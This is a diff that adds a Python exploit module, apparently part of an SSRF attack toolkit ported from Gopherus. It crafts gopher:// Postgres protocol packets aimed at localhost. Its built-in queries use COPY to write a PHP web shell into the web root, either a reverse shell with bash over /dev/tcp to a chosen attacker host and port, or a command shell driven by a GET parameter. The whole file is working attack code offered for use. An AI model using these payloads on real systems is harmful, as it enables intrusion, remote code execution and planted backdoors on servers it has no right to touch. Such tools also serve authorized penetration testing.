|
| 1 | +from utils.utils import * |
| 2 | +import logging |
| 3 | +import binascii |
| 4 | + |
| 5 | +# NOTE |
| 6 | +# This exploit is a Python 3 version of the Gopherus tool |
| 7 | + |
| 8 | +name = "postgres" |
| 9 | +description = "Execute Postgres command" |
| 10 | +author = "sengkyaut" |
| 11 | +documentation = [ |
| 12 | + "https://github.com/tarunkant/Gopherus" |
| 13 | +] |
| 14 | + |
| 15 | +class exploit(): |
| 16 | + user = "postgres" |
| 17 | + database = "postgres" |
| 18 | + reverse = "COPY (SELECT '<?php system(\"bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1\");?>') TO '/var/www/html/shell.php';" |
| 19 | + php_cmd_shell = "COPY (SELECT '<?php system($_GET[\"cmd\"]);?>') TO '/var/www/html/shell.php';" |
| 20 | + |
| 21 | + def __init__(self, requester, args): |
| 22 | + logging.info(f"Module '{name}' launched !") |
| 23 | + |
| 24 | + # Get the username, database, query |
| 25 | + self.user = input("Give Postgres username (Default postgres): ") or self.user |
| 26 | + self.database = input("Give Postgres Database name (Default postgres): ") or self.database |
| 27 | + query = input("Give Postgres query to execute (reverse or phpshell or any Postgres statement): ") |
| 28 | + |
| 29 | + # Reverse shell - writing system() in /var/www/html/shell.php |
| 30 | + if query == "reverse": |
| 31 | + self.query = self.reverse |
| 32 | + if args.lhost == None: |
| 33 | + self.query = self.query.replace("SERVER_HOST", input("Server Host:")) |
| 34 | + else: |
| 35 | + self.query = self.query.replace("SERVER_HOST", args.lhost) |
| 36 | + |
| 37 | + if args.lport == None: |
| 38 | + self.query = self.query.replace("SERVER_PORT", input("Server Port:")) |
| 39 | + else: |
| 40 | + self.query = self.query.replace("SERVER_PORT", args.lport) |
| 41 | + |
| 42 | + elif query == "phpshell": |
| 43 | + self.query = self.php_cmd_shell |
| 44 | + |
| 45 | + else: |
| 46 | + self.query = query |
| 47 | + |
| 48 | + # For every IP generated, send the payload |
| 49 | + gen_host = gen_ip_list("127.0.0.1", args.level) |
| 50 | + for ip in gen_host: |
| 51 | + payload = self.get_payload(self.query, ip) |
| 52 | + logging.info(f"Generated payload : {payload}") |
| 53 | + |
| 54 | + r = requester.do_request(args.param, payload) |
| 55 | + |
| 56 | + if query == "reverse" or query == "phpshell": |
| 57 | + logging.info(f"Please check the shell.php on the web root for confirmation.") |
| 58 | + |
| 59 | + logging.info(f"Module '{name}' ended !") |
| 60 | + |
| 61 | + def encode(self, s, ip): |
| 62 | + a = [s[i:i + 2] for i in range(0, len(s), 2)] |
| 63 | + return wrapper_gopher("%"+"%".join(a), ip, "5432") |
| 64 | + |
| 65 | + def encode_to_hex_str(self, data): |
| 66 | + return binascii.hexlify(data.encode()).decode() |
| 67 | + |
| 68 | + def get_payload(self, query, ip): |
| 69 | + if(query.strip()!=''): |
| 70 | + # Encode username, db and query |
| 71 | + encode_user = self.encode_to_hex_str(self.user) |
| 72 | + encode_db = self.encode_to_hex_str(self.database) |
| 73 | + encode_query = self.encode_to_hex_str(self.query) |
| 74 | + len_query = len(query) + 5 |
| 75 | + |
| 76 | + # Construct the payload |
| 77 | + start = "000000" + self.encode_to_hex_str(chr(4+len(self.user)+8+len(self.database)+13)) + "000300" |
| 78 | + data = "00" + self.encode_to_hex_str("user") + "00" + encode_user + "00" + self.encode_to_hex_str("database") + "00" + encode_db |
| 79 | + data += "0000510000" + str(hex(len_query)[2:]).zfill(4) |
| 80 | + data += encode_query |
| 81 | + end = "005800000004" |
| 82 | + |
| 83 | + packet = start + data + end |
| 84 | + final = self.encode(packet, ip) |
| 85 | + return final |
| 86 | + else: |
| 87 | + logging.error(f"Query can't be empty") |
| 88 | + raise Exception('Postgres query empty!') |
0 commit comments